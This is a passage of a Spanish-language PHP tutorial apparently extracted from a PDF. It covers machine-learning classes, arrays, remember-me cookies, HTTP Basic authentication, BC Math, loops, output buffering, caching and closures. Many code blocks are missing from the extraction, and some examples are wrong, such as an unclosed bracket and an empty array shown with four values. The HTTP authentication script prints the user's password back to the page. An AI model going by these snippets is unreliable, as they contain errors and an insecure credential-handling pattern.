que el segundo parámetro es la métrica de distancia, que por defecto en el primer caso sería
Euclidean . Más sobre Minkowski se puede encontrar aquí .
// Training data
$samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]];
$labels = ['a', 'a', 'a', 'b', 'b', 'b'];
// Initialize classifier
$classifier = new KNearestNeighbors();
// Train classifier
$classifier->train($samples, $labels);
// Make predictions
$classifier->predict([3, 2]); // return 'b'
$classifier->predict([[3, 2], [1, 5]]); // return ['b', 'a']
Clasificador NaiveBayes
NaiveBayes Classifier se basa en Bayes' theorem y no necesita ningún parámetro en el constructor.
https://riptutorial.com/es/home 31
El siguiente código demuestra una implementación de predicción simple
// Training data
$samples = [[5, 1, 1], [1, 5, 1], [1, 1, 5]];
$labels = ['a', 'b', 'c'];
// Initialize classifier
$classifier = new NaiveBayes();
// Train classifier
$classifier->train($samples, $labels);
// Make predictions
$classifier->predict([3, 1, 1]); // return 'a'
$classifier->predict([[3, 1, 1], [1, 4, 1]); // return ['a', 'b']
Caso practico
Hasta ahora solo usamos matrices de enteros en todos nuestros casos, pero ese no es el caso en
la vida real. Por lo tanto, permítame tratar de describir una situación práctica sobre cómo usar los
clasificadores.
Supongamos que tiene una aplicación que almacena las características de las flores
en la naturaleza. En aras de la simplicidad, podemos considerar el color y la longitud
de los pétalos. Entonces, dos características serían usadas para entrenar nuestros
datos. color es el más simple donde puede asignar un valor int a cada uno de ellos y
para la longitud, puede tener un rango como (0 mm,10 mm)=1 , (10 mm,20 mm)=2 . Con los
datos iniciales entrena a tu clasificador. Ahora, uno de sus usuarios necesita identificar
el tipo de flor que crece en su patio trasero. Lo que hace es seleccionar el color de la
flor y agrega la longitud de los pétalos. El clasificador en ejecución puede detectar el
tipo de flor ("Etiquetas en el ejemplo anterior")
Regresión
La regresión tiene el mismo train y métodos de predict que los utilizados en la clasificación.
https://riptutorial.com/es/home 32
// Import library
use Phpml\Regression\SVR;
use Phpml\SupportVectorMachine\Kernel;
// Training data
$samples = [[60], [61], [62], [63], [65]];
$targets = [3.1, 3.6, 3.8, 4, 4.1];
En la regresión, $targets no son etiquetas de clase en lugar de clasificación. Este es uno de los
factores diferenciadores para los dos. Después de entrenar nuestro modelo con los datos,
podemos comenzar con las predicciones reales.
Tenga en cuenta que las predicciones devuelven un valor fuera del objetivo.
// Training data
$samples = [[60], [61], [62], [63], [65]];
$targets = [3.1, 3.6, 3.8, 4, 4.1];
PHP-ML también ofrece la opción de Multiple Linear Regression . Un código de ejemplo para el
mismo puede ser el siguiente
$samples = [[73676, 1996], [77006, 1998], [10565, 2000], [146088, 1995], [15000, 2001],
[65940, 2000], [9300, 2000], [93739, 1996], [153260, 1994], [17764, 2002], [57000, 1998],
[15000, 2000]];
$targets = [2000, 2750, 15500, 960, 4400, 8800, 7100, 2550, 1025, 5900, 4600, 4400];
Multiple Linear Regression es particularmente útil cuando múltiples factores o rasgos identifican el
resultado.
https://riptutorial.com/es/home 33
Caso practico
Ahora tomemos una aplicación de regresión en el escenario de la vida real.
Supongamos que ejecuta un sitio web muy popular, pero el tráfico sigue cambiando.
Desea una solución que pueda predecir la cantidad de servidores que necesita
implementar en cualquier momento del tiempo. Supongamos por el hecho de que su
proveedor de alojamiento le ofrece una API para generar servidores y cada servidor
tarda 15 minutos en arrancar. En función de los datos anteriores de tráfico y regresión,
puede predecir el tráfico que afectaría a su aplicación en cualquier momento. Gracias
a ese conocimiento, puede iniciar un servidor 15 minutos antes de la oleada, lo que
evita que su aplicación se desconecte.
Agrupación
• k-medios
• dbscan
k-medios
k-Means separa los datos en n grupos de igual varianza. Esto significa que debemos pasar un
número n que sería el número de clústeres que necesitamos en nuestra solución. El siguiente
código ayudará a traer más claridad
Tenga en cuenta que la salida contiene 3 matrices porque ese era el valor de n en el constructor
KMeans . También puede haber un segundo parámetro opcional en el constructor, que sería el
initialization method . Por ejemplo considera
INIT_RANDOM coloca un centroide completamente aleatorio al intentar determinar los clústeres. Pero
solo para evitar que el centroide esté demasiado lejos de los datos, está limitado por los límites de
espacio de los datos.
https://riptutorial.com/es/home 34
DBSCAN
A diferencia de KMeans , DBSCAN es un algoritmo de agrupamiento basado en densidad, lo que
significa que no pasaremos n lo que determinaría la cantidad de clústeres que queremos en
nuestro resultado. Por otro lado esto requiere dos parámetros para funcionar.
El código es bastante autoexplicativo. Una diferencia importante es que no hay forma de saber la
cantidad de elementos en la matriz de salida en lugar de KMeans.
Caso practico
Ahora echemos un vistazo al uso de agrupamiento en situaciones reales.
https://riptutorial.com/es/home 35
Capítulo 8: Arrays
Introducción
Una matriz es una estructura de datos que almacena un número arbitrario de valores en un solo
valor. Una matriz en PHP es en realidad un mapa ordenado, donde mapa es un tipo que asocia
valores a claves.
Sintaxis
• $ array = array ('Value1', 'Value2', 'Value3'); // Las teclas predeterminadas son 0, 1, 2, ...,
• $ array = array ('Value1', 'Value2',); // coma final opcional
• $ array = array ('key1' => 'Value1', 'key2' => 'Value2',); // Claves explícitas
• $ array = array ('key1' => 'Value1', 'Value2',); // Array (['key1'] => Value1 [1] => 'Value2')
• $ array = ['key1' => 'Value1', 'key2' => 'Value2',]; // PHP 5.4+ taquigrafía
• $ array [] = 'ValueX'; // Añadir 'ValueX' al final de la matriz
• $ array ['keyX'] = 'ValueX'; // Asignar 'valueX' a la tecla 'keyX'
• $ array + = ['keyX' => 'valueX', 'keyY' => 'valueY']; // Agregar / sobrescribir elementos en una
matriz existente
Parámetros
Parámetro Detalle
Para cada key hay un valor correspondiente (de lo contrario, null y se emite un
Valor
aviso al acceder ). El valor no tiene restricciones en el tipo de entrada.
Observaciones
Ver también
• Manipulando una sola matriz
• Ejecutando sobre una matriz
• Iteración de matriz
• Procesando múltiples matrices juntos
Examples
https://riptutorial.com/es/home 36
Inicializando una matriz
// An empty array
$foo = array();
Una matriz también se puede inicializar con índices personalizados (también llamada matriz
asociativa) :
El índice usualmente continuará donde lo dejaste. PHP intentará usar cadenas numéricas como
enteros:
https://riptutorial.com/es/home 37
$foo = [2 => 'apple', 'melon']; // Array( [2] => apple, [3] => melon )
$foo = ['2' => 'apple', 'melon']; // same as above
$foo = [2 => 'apple', 'this is index 3 temporarily', '3' => 'melon']; // same as above! The
last entry will overwrite the second!
Para inicializar una matriz con un tamaño fijo, puede usar SplFixedArray :
$array[0] = 1;
$array[1] = 2;
$array[2] = 3;
$array[3] = 4; // RuntimeException
Nota: una matriz creada con SplFixedArray tiene una huella de memoria reducida para grandes
conjuntos de datos, pero las claves deben ser enteros.
Para inicializar una matriz con un tamaño dinámico pero con n elementos no vacíos (por ejemplo,
un marcador de posición), puede usar un bucle de la siguiente manera:
$myArray = array();
$sizeOfMyArray = 5;
$fill = 'placeholder';
Si todos sus marcadores de posición son iguales, también puede crearlo utilizando la función
array_fill() :
Esto crea y devuelve una matriz con num entradas de value , llaves a partir de start_index .
Nota: Si el start_index es negativo, comenzará con el índice negativo y continuará desde 0 para
los siguientes elementos.
$a = array_fill(5, 6, 'banana'); // Array ( [5] => banana, [6] => banana, ..., [10] => banana)
$b = array_fill(-2, 4, 'pear'); // Array ( [-2] => pear, [0] => pear, ..., [2] => pear)
https://riptutorial.com/es/home 38
Conclusión: con array_fill() estás más limitado por lo que realmente puedes hacer. El bucle es
más flexible y le abre una gama más amplia de oportunidades.
Cuando quiera que una matriz se llene con un rango de números (por ejemplo, 1-4), puede
agregar cada elemento a una matriz o usar la función range() :
Esta función crea una matriz que contiene un rango de elementos. Los primeros dos parámetros
son necesarios, donde establecen los puntos de inicio y final del rango (inclusive). El tercer
parámetro es opcional y define el tamaño de los pasos que se están tomando. Al crear un range
de 0 a 4 con un stepsize de stepsize de 1 , la matriz resultante consistirá de los siguientes
elementos: 0 , 1 , 2 , 3 y 4 . Si el tamaño del paso se incrementa a 2 (es decir, range(0, 4, 2) ), la
matriz resultante sería: 0 , 2 y 4 .
$array = [];
$array_with_range = range(1, 4);
print_r($array); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
print_r($array_with_range); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
range puede trabajar con enteros, flotadores, valores booleanos (que se convierten en enteros) y
cadenas. Sin embargo, se debe tener precaución al usar flotantes como argumentos debido al
problema de precisión de punto flotante.
$map = [
'foo' => 1,
'bar' => null,
'foobar' => '',
];
Tenga en cuenta que isset() trata un elemento de valor null como no existente. Mientras que
!empty() hace lo mismo para cualquier elemento que sea false (usando una comparación débil;
por ejemplo, null , '' y 0 se tratan como falso por !empty() ). While isset($map['foobar']); es true
!empty($map['foobar']) es false . Esto puede llevar a errores (por ejemplo, es fácil olvidar que la
cadena '0' se trata como falsa), por lo que el uso de !empty() menudo está mal visto.
https://riptutorial.com/es/home 39
Tenga en cuenta también que isset() y !empty() isset() funcionarán (y devolverán false) si $map
no está definido en absoluto. Esto los hace un tanto propensos a usar errores:
Tenga en cuenta que isset() tiene mejor rendimiento que array_key_exists() ya que esta última
es una función y la primera es una construcción de lenguaje.
También puede usar la función array_search() para obtener la clave de un elemento específico en
una matriz.
En PHP 5.5 y array_column() posteriores, puede usar array_column() junto con array_search() .
Esto es particularmente útil para verificar si existe un valor en una matriz asociativa :
$userdb = [
[
"uid" => '100',
"name" => 'Sandra Shush',
"url" => 'urlof100',
https://riptutorial.com/es/home 40
],
[
"uid" => '5465',
"name" => 'Stefanie Mcmohn',
"pic_square" => 'urlof100',
],
[
"uid" => '40489',
"name" => 'Michael',
"pic_square" => 'urlof40489',
]
];
$integer = 1337;
$array = [1337, 42];
is_array($integer); // false
is_array($array); // true
Puede escribir sugerir el tipo de matriz en una función para imponer un tipo de parámetro; Pasar
cualquier otra cosa resultará en un error fatal.
$integer = 1337;
$array = [1337, 42];
Otra característica útil es acceder a sus colecciones de objetos personalizados como matrices en
PHP. Hay dos interfaces disponibles en PHP (> = 5.0.0) núcleo para apoyar esta: ArrayAccess y
Iterator . El primero le permite acceder a sus objetos personalizados como matriz.
ArrayAccess
Supongamos que tenemos una clase de usuario y una tabla de base de datos que almacena a
todos los usuarios. Nos gustaría crear una clase UserCollection que:
https://riptutorial.com/es/home 41
Considere la siguiente fuente (en lo sucesivo, usaremos la sintaxis de creación de matriz corta []
disponible desde la versión 5.4):
$connectionParams = [
//your connection to the database
];
return $ret;
}
https://riptutorial.com/es/home 42
Entonces podemos :
var_dump(empty($users['testuser']),isset($users['testuser']));
$users['testuser'] = ['username' => 'testuser',
'password' => 'testpassword',
'email' => '[email protected]'];
var_dump(empty($users['testuser']), isset($users['testuser']), $users['testuser']);
unset($users['testuser']);
var_dump(empty($users['testuser']), isset($users['testuser']));
que generará lo siguiente, asumiendo que no hubo un testuser antes de lanzar el código:
bool(true)
bool(false)
bool(false)
bool(true)
array(17) {
["username"]=>
string(8) "testuser"
["password"]=>
string(12) "testpassword"
["email"]=>
string(13) "[email protected]"
}
bool(true)
bool(false)
var_dump(array_key_exists('testuser', $users));
$users['testuser'] = ['username' => 'testuser',
'password' => 'testpassword',
'email' => '[email protected]'];
var_dump(array_key_exists('testuser', $users));
Iterador
Extendamos nuestra clase desde arriba con algunas funciones de la interfaz del Iterator para
permitir la iteración sobre ella con foreach y while .
Primero, debemos agregar una propiedad que contenga nuestro índice actual de iterador, vamos
a agregarla a las propiedades de la clase como $_position :
https://riptutorial.com/es/home 43
A continuación, agregue lo requerido por las funciones de la interfaz en sí:
Entonces, en general, aquí está la fuente completa de la clase que implementa ambas interfaces.
Tenga en cuenta que este ejemplo no es perfecta, ya que los identificadores en la base de datos
pueden no ser secuencial, pero esto fue escrito sólo para darle la idea principal: se puede hacer
frente a sus colecciones de objetos de cualquier manera posible mediante la implementación de
ArrayAccess y Iterator interfaces:
// <add the old methods from the last code snippet here>
https://riptutorial.com/es/home 44
lo que producirá algo así como
string(2) "1"
string(2) "2"
string(2) "3"
string(2) "4"
...
$username = 'Hadibut';
$email = '[email protected]';
Este método se usa a menudo en marcos para pasar una matriz de variables entre dos
componentes.
https://riptutorial.com/es/home 45
Capítulo 9: Asegurate recuerdame
Introducción
He estado buscando en este tema durante algún tiempo hasta que encontré esta publicación
https://stackoverflow.com/a/17266448/4535386 de ircmaxell, creo que merece más exposición.
Examples
"Mantenerme conectado" - el mejor enfoque
function onLogin($user) {
$token = GenerateRandomToken(); // generate a token, should be 128 - 256 bit
storeTokenForUser($user, $token);
$cookie = $user . ':' . $token;
$mac = hash_hmac('sha256', $cookie, SECRET_KEY);
$cookie .= ':' . $mac;
setcookie('rememberme', $cookie);
}
function rememberMe() {
$cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : '';
if ($cookie) {
list ($user, $token, $mac) = explode(':', $cookie);
if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) {
return false;
}
$usertoken = fetchTokenByUserName($user);
if (hash_equals($usertoken, $token)) {
logUserIn($user);
}
}
}
https://riptutorial.com/es/home 46
Capítulo 10: Autenticación HTTP
Introducción
En este tema vamos a hacer un script de autenticación HTTP-Header.
Examples
Autenticación simple
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
}
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
$user = $_SERVER['PHP_AUTH_USER']; //Lets save the information
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
$pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)!
?>
//You html page
https://riptutorial.com/es/home 47
Capítulo 11: BC Math (calculadora binaria)
Introducción
La calculadora binaria se puede utilizar para calcular con números de cualquier tamaño y
precisión hasta 2147483647-1 decimales, en formato de cadena. La calculadora binaria es más
precisa que el cálculo flotante de PHP.
Sintaxis
• string bcadd (string $ left_operand, string $ right_operand [, int $ scale = 0])
• int bccomp (string $ left_operand, string $ right_operand [, int $ scale = 0])
• string bcdiv (string $ left_operand, string $ right_operand [, int $ scale = 0])
• string bcmod (string $ left_operand, string $ modulus)
• string bcmul (string $ left_operand, string $ right_operand [, int $ scale = 0])
• string bcpowmod (string $ left_operand, string $ right_operand, string $ modulus [, int $ scale
= 0])
• bool bcscale (int $ scale)
• string bcsqrt (string $ operand [, int $ scale = 0])
• string bcsub (string $ left_operand, string $ right_operand [, int $ scale = 0])
Parámetros
https://riptutorial.com/es/home 48
bcadd Suma dos números de precisión arbitrarios.
https://riptutorial.com/es/home 49
bcadd Suma dos números de precisión arbitrarios.
Observaciones
Para todas las funciones de BC, si el parámetro de scale no está establecido, el valor
predeterminado es 0, lo que hará que todas las operaciones sean operaciones con enteros.
Examples
Comparación entre BCMath y operaciones aritméticas flotantes
bcsub vs float-float
var_dump('10' - '9.99'); // float(0.0099999999999998)
var_dump(10 - 9.99); // float(0.0099999999999998)
var_dump(10.00 - 9.99); // float(0.0099999999999998)
var_dump(bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000"
https://riptutorial.com/es/home 50
bcmul vs float * float
var_dump('1.6767676767' * '1.6767676767'); // float(2.8115498416259)
var_dump(1.6767676767 * 1.6767676767); // float(2.8115498416259)
var_dump(bcmul('1.6767676767', '1.6767676767', 20)); // string(22) "2.81154984162591572289"
En los sistemas de 32 bits, los enteros mayores que 0x7FFFFFFF no pueden almacenarse
primitivamente, mientras que los enteros entre 0x0000000080000000 y 0x7FFFFFFFFFFFFFFF pueden
almacenarse primitivamente en sistemas de 64 bits pero no en sistemas de 32 bits ( signed long
long ). Sin embargo, dado que los sistemas de 64 bits y muchos otros lenguajes admiten el
almacenamiento de enteros signed long long , a veces es necesario almacenar este rango de
enteros en el valor exacto. Hay varias formas de hacerlo, como crear una matriz con dos números
o convertir el número entero en su forma decimal legible para el hombre. Esto tiene varias
ventajas, como la conveniencia de presentar al usuario y la capacidad de manipularlo
directamente con bcmath.
Los métodos de pack / unpack se pueden usar para convertir entre bytes binarios y la forma
decimal de los números (ambos de tipo string , pero uno es binario y el otro es ASCII), pero
siempre intentarán convertir la cadena ASCII en un formato de 32 bits. int en sistemas de 32 bits.
El siguiente fragmento de código proporciona una alternativa:
https://riptutorial.com/es/home 51
$result = bcadd($result, unpack("n", substr($binary, 2, 2)));
$result = bcmul($result, "65536");
$result = bcadd($result, unpack("n", substr($binary, 4, 2)));
$result = bcmul($result, "65536");
$result = bcadd($result, unpack("n", substr($binary, 6, 2)));
https://riptutorial.com/es/home 52
Capítulo 12: Bucles
Introducción
Los bucles son un aspecto fundamental de la programación. Permiten a los programadores crear
código que se repite para un número determinado de repeticiones o iteraciones . El número de
iteraciones puede ser explícito (6 iteraciones, por ejemplo), o continuar hasta que se cumpla
alguna condición ('hasta que el infierno se congele').
Este tema cubre los diferentes tipos de bucles, sus declaraciones de control asociadas y sus
posibles aplicaciones en PHP.
Sintaxis
• para (contador de inicio; contador de prueba; contador de incremento) {/ * código * /}
• foreach (matriz como valor) {/ * código * /}
• foreach (matriz como clave => valor) {/ * código * /}
• while (condición) {/ * código * /}
• hacer {/ * código * /} while (condición);
• anyloop {continuar; }
• anyloop {[ anyloop ...] {continue int; }}
• anyloop {descanso; }
• anyloop {[ anyloop ...] {break int; }}
Observaciones
A menudo es útil ejecutar el mismo bloque de código o varias veces. En lugar de copiar y pegar,
los bucles de sentencias casi iguales proporcionan un mecanismo para ejecutar el código un
número específico de veces y recorrer estructuras de datos. PHP soporta los siguientes cuatro
tipos de bucles:
• for
• while
• do..while
• foreach
Para controlar estos bucles, continue y las declaraciones de break están disponibles.
Examples
para
La instrucción for se utiliza cuando sabe cuántas veces desea ejecutar una instrucción
o un bloque de instrucciones.
https://riptutorial.com/es/home 53
El inicializador se utiliza para establecer el valor de inicio para el contador del número de
iteraciones de bucle. Se puede declarar una variable aquí para este propósito y es tradicional
nombrarla $i .
# Example 2
for ($i = 0; ; $i++) {
if ($i > 9) {
break;
}
echo $i, ',';
}
# Example 3
$i = 0;
for (; ; ) {
if ($i > 9) {
break;
}
echo $i, ',';
$i++;
}
# Example 4
for ($i = 0, $j = 0; $i <= 9; $j += $i, print $i. ',', $i++);
0,1,2,3,4,5,6,7,8,9,
para cada
Para cada iteración, el valor del elemento de la matriz actual se asigna a la variable $value y el
puntero de la matriz se mueve uno y en la siguiente iteración se procesará el siguiente elemento.
https://riptutorial.com/es/home 54
También puede acceder a la clave / índice de un valor utilizando foreach:
Por defecto, $value es una copia del valor en $list , por lo que los cambios realizados dentro del
bucle no se reflejarán en $list después.
Para modificar la matriz dentro del bucle foreach , use el operador & para asignar $value por
referencia. Es importante unset la variable luego para que reusar $value otro lugar no sobrescriba
la matriz.
También puede modificar los elementos de la matriz dentro del bucle foreach haciendo referencia
a la clave de la matriz del elemento actual.
descanso
De manera similar a la instrucción continue , una break detiene la ejecución de un bucle. Sin
embargo, a diferencia de una instrucción de continue , la break provoca la terminación inmediata
del bucle y no ejecuta la instrucción condicional nuevamente.
$i = 5;
while(true) {
echo 120/$i.PHP_EOL;
$i -= 1;
if ($i == 0) {
break;
}
}
https://riptutorial.com/es/home 55
24
30
40
60
120
pero no ejecutará el caso donde $i es 0, lo que resultaría en un error fatal debido a la división por
0.
La instrucción break también puede usarse para romper varios niveles de bucles. Tal
comportamiento es muy útil cuando se ejecutan bucles anidados. Por ejemplo, para copiar una
matriz de cadenas en una cadena de salida, eliminando cualquier # símbolo, hasta que la cadena
de salida tenga exactamente 160 caracteres
$output = "";
$inputs = array(
"#soblessed #throwbackthursday",
"happy tuesday",
"#nofilter",
/* more inputs */
);
foreach($inputs as $input) {
for($i = 0; $i < strlen($input); $i += 1) {
if ($input[$i] == '#') continue;
$output .= $input[$i];
if (strlen($output) == 160) break 2;
}
$output .= ' ';
}
$i = 0;
do {
$i++;
} while($i < 25);
continuar
https://riptutorial.com/es/home 56
La palabra clave continue detiene la iteración actual de un bucle pero no termina el
bucle.
Al igual que la instrucción break , la instrucción continue está situada dentro del cuerpo del bucle.
Cuando se ejecuta, la instrucción continue hace que la ejecución salte inmediatamente al bucle
condicional.
En el siguiente ejemplo, el bucle imprime un mensaje basado en los valores de una matriz, pero
omite un valor especificado.
manzana rojo 1
Plátano Amarillo 7
Cereza rojo 2
Uva Verde 4
$data = [
[ "Fruit" => "Apple", "Color" => "Red", "Cost" => 1 ],
[ "Fruit" => "Banana", "Color" => "Yellow", "Cost" => 7 ],
[ "Fruit" => "Cherry", "Color" => "Red", "Cost" => 2 ],
[ "Fruit" => "Grape", "Color" => "Green", "Cost" => 4 ]
];
foreach($data as $fruit) {
foreach($fruit as $key => $value) {
if ($key == "Cost" && $value >= 5) {
continue 2;
}
https://riptutorial.com/es/home 57
/* make a pie */
}
}
mientras
El siguiente ejemplo itera hasta que la suma alcanza 100 antes de terminar.
$i = true;
$sum = 0;
while ($i) {
if ($sum === 100) {
$i = false;
} else {
$sum += 10;
}
}
echo 'The sum is: ', $sum;
https://riptutorial.com/es/home 58
Capítulo 13: Buffer de salida
Parámetros
Función Detalles
ob_get_contents
Devuelve todo el contenido capturado por ob_start()
()
ob_implicit_flush
Habilita el vaciado implícito después de cada llamada de salida.
()
Examples
Uso básico obteniendo contenido entre buffers y clearing
El búfer de salida le permite almacenar cualquier contenido textual (Texto, HTML ) en una variable y
enviarlo al navegador como una pieza al final de su script. Por defecto, php envía su contenido
como lo interpreta.
<?php
https://riptutorial.com/es/home 59
// Return the buffer AND clear it
$content = ob_get_clean();
print($content);
Puede anidar buffers de salida y obtener el nivel para que proporcionen contenido diferente
utilizando la función ob_get_level() .
<?php
$i = 1;
$output = null;
while( $i <= 5 ) {
// Each loop, creates a new output buffering `level`
ob_start();
print "Current nest level: ". ob_get_level() . "\n";
$i++;
}
// Get clean will `pop` the contents of the top most level (5)
$output .= ob_get_clean();
print $output;
// For each level we went up, come back down and get the buffer
while( $i > 2 ) {
print "Current nest level: " . ob_get_level() . "\n";
echo ob_get_clean();
$i--;
}
Salidas:
https://riptutorial.com/es/home 60
Current nest level: 4
Current nest level: 5
Ended up at level: 5
Popped level 5, so we now start from 4
Current nest level: 4
Current nest level: 3
Current nest level: 2
Current nest level: 1
<?php
foreach($items as $item):
<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->
<ul class="header-nav">
<?php echo $items_li_html ?>
</ul>
Debería ver los 2 elementos de lista que creamos anteriormente con los mismos elementos de
lista que generamos en PHP usando el búfer de salida:
<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->
<ul class="header-nav">
<li>Home</li>
<li>Blog</li>
<li>FAQ</li>
https://riptutorial.com/es/home 61
<li>Contact</li>
</ul>
ob_start();
$user_count = 0;
foreach( $users as $user ) {
if( $user['access'] != 7 ) { continue; }
?>
<li class="users user-<?php echo $user['id']; ?>">
<a href="<?php echo $user['link']; ?>">
<?php echo $user['name'] ?>
</a>
</li>
<?php
$user_count++;
}
$users_html = ob_get_clean();
if( !$user_count ) {
header('Location: /404.php');
exit();
}
?>
<html>
<head>
<title>Level 7 user results (<?php echo $user_count; ?>)</title>
</head>
<body>
<h2>We have a total of <?php echo $user_count; ?> users with access level 7</h2>
<ul class="user-list">
<?php echo $users_html; ?>
</ul>
</body>
</html>
En este ejemplo, asumimos que $users son una matriz multidimensional, y lo hacemos en bucle
para encontrar a todos los usuarios con un nivel de acceso de 7.
Uso del búfer de salida para almacenar contenidos en un archivo, útil para
https://riptutorial.com/es/home 62
informes, facturas, etc.
<?php
ob_start();
?>
<html>
<head>
<title>Example invoice</title>
</head>
<body>
<h1>Invoice #0000</h1>
<h2>Cost: £15,000</h2>
...
</body>
</html>
<?php
$html = ob_get_clean();
<?php
function clearAllWhiteSpace($buffer) {
return str_replace(array("\n", "\t", ' '), '', $buffer);
}
ob_start('clearAllWhiteSpace');
?>
<h1>Lorem Ipsum</h1>
<ol>
<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</li>
<li>Aliquam tincidunt mauris eu risus.</li>
</ol>
<?php
/* Output will be flushed and processed when script ends or call
ob_end_flush();
*/
Salida:
https://riptutorial.com/es/home 63
<h1>LoremIpsum</h1><p><strong>Pellentesquehabitantmorbitristique</strong>senectusetnetusetmalesuadafame
/**
* Enables output buffer streaming. Calling this function
* immediately flushes the buffer to the client, and any
* subsequent output will be sent directly to the client.
*/
function _stream() {
ob_implicit_flush(true);
ob_end_flush();
}
ob_startes especialmente útil cuando tienes redirecciones en tu página. Por ejemplo, el siguiente
código no funcionará:
Hello!
<?php
header("Location: somepage.php");
?>
El error que se dará es algo como: headers already sent by <xxx> on line <xxx> .
Para solucionar este problema, debe escribir algo como esto al comienzo de su página:
<?php
ob_start();
?>
<?php
ob_end_flush();
?>
Esto almacena todo el contenido generado en un búfer de salida y lo muestra de una sola vez.
Por lo tanto, si tiene llamadas de redirección en su página, éstas se activarán antes de que se
envíe cualquier dato, eliminando la posibilidad de que se produzcan errores en los headers already
sent .
https://riptutorial.com/es/home 64
Capítulo 14: Cache
Observaciones
Instalación
Puedes instalar memcache usando pecl
Examples
Caché utilizando memcache
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->connect('localhost',11211);
}else {
print "Not connected to cache server";
}
Esto validará que los controladores php de Memcache estén instalados y se conectarán a la
instancia del servidor memcache que se ejecuta en localhost.
En el ejemplo anterior solo nos conectamos a una sola instancia, pero también puede conectarse
a múltiples servidores usando
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->addServer('192.168.0.100',11211);
$cache->addServer('192.168.0.101',11211);
}
Tenga en cuenta que, en este caso, a diferencia de la conexión, no habrá ninguna conexión
activa hasta que intente almacenar o recuperar un valor.
https://riptutorial.com/es/home 65
2. Obtener datos: obtener datos del servidor memcached
3. Eliminar datos: eliminar datos ya existentes del servidor memcached
Almacenamiento de datos
$cacheo objeto de clase memcached tiene un método de set que toma una clave, valor y tiempo
para guardar el valor para (ttl).
Aquí $ ttl o time to live es el tiempo en segundos que desea que memcache almacene el par en el
servidor.
Obtener datos
$cache o objeto de clase memcached tiene un método de get que toma una clave y devuelve el
valor correspondiente.
$value = $cache->get($key);
Borrar datos
A veces es posible que tenga que eliminar algún valor de caché. $cache instancia de $cache o
memcache tiene un método de delete que puede usarse para el mismo.
$cache->delete($key);
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->connect('localhost',11211);
if(($data = $cache->get('posts')) != null) {
// Cache hit
// Render from cache
} else {
// Cache miss
https://riptutorial.com/es/home 66
// Query database and save results to database
// Assuming $posts is array of posts retrieved from database
$cache->set('posts', $posts,0,$ttl);
}
}else {
die("Error while connecting to cache server");
}
El caché de PHP alternativo (APC) es un caché de código de operación gratuito y abierto para
PHP. Su objetivo es proporcionar un marco gratuito, abierto y robusto para almacenar en caché y
optimizar el código intermedio de PHP.
instalación
Añadir caché:
Eliminar caché:
apc_delete($key);
if (apc_exists($key)) {
echo "Key exists: ";
echo apc_fetch($key);
} else {
echo "Key does not exist";
apc_add ($key, $value , $ttl);
}
Rendimiento :
https://riptutorial.com/es/home 67
Capítulo 15: Cierre
Examples
Uso básico de un cierre.
Un cierre es el equivalente de PHP de una función anónima, por ejemplo. Una función que no
tiene nombre. Incluso si eso no es técnicamente correcto, el comportamiento de un cierre sigue
siendo el mismo que el de una función, con algunas características adicionales.
Un cierre no es más que un objeto de la clase Closure que se crea al declarar una función sin
nombre. Por ejemplo:
<?php
$myClosure = function() {
echo 'Hello world!';
};
Tenga en cuenta que $myClosure es una instancia de Closure para que esté al tanto de lo que
realmente puede hacer con ella (consulte http://fr2.php.net/manual/en/class.closure.php )
El caso clásico que se necesita un cierre es cuando se tiene que dar una callable a una función,
por ejemplo usort .
Aquí hay un ejemplo donde una matriz está ordenada por el número de hermanos de cada
persona:
<?php
$data = [
[
'name' => 'John',
'nbrOfSiblings' => 2,
],
[
'name' => 'Stan',
'nbrOfSiblings' => 1,
],
[
'name' => 'Tom',
'nbrOfSiblings' => 3,
]
];
https://riptutorial.com/es/home 68
return $e1['nbrOfSiblings'] < $e2['nbrOfSiblings'] ? -1 : 1;
});
var_dump($data); // Will show Stan first, then John and finally Tom
Es posible, dentro de un cierre, utilizar una variable externa con el uso especial de palabras
clave. Por ejemplo:
<?php
$quantity = 1;
Puedes ir más lejos creando cierres "dinámicos". Es posible crear una función que devuelva una
calculadora específica, dependiendo de la cantidad que desee agregar. Por ejemplo:
<?php
function createCalculator($quantity) {
return function($number) use($quantity) {
return $number + $quantity;
};
}
$calculator1 = createCalculator(1);
$calculator2 = createCalculator(2);
Como se vio anteriormente, un cierre no es más que una instancia de la clase Closure, y se
pueden invocar diferentes métodos en ellos. Uno de ellos es bindTo , que, dado un cierre,
devolverá uno nuevo que está vinculado a un objeto dado. Por ejemplo:
<?php
$myClosure = function() {
echo $this->property;
};
class MyClass
{
public $property;
https://riptutorial.com/es/home 69
{
$this->property = $propertyValue;
}
}
<?php
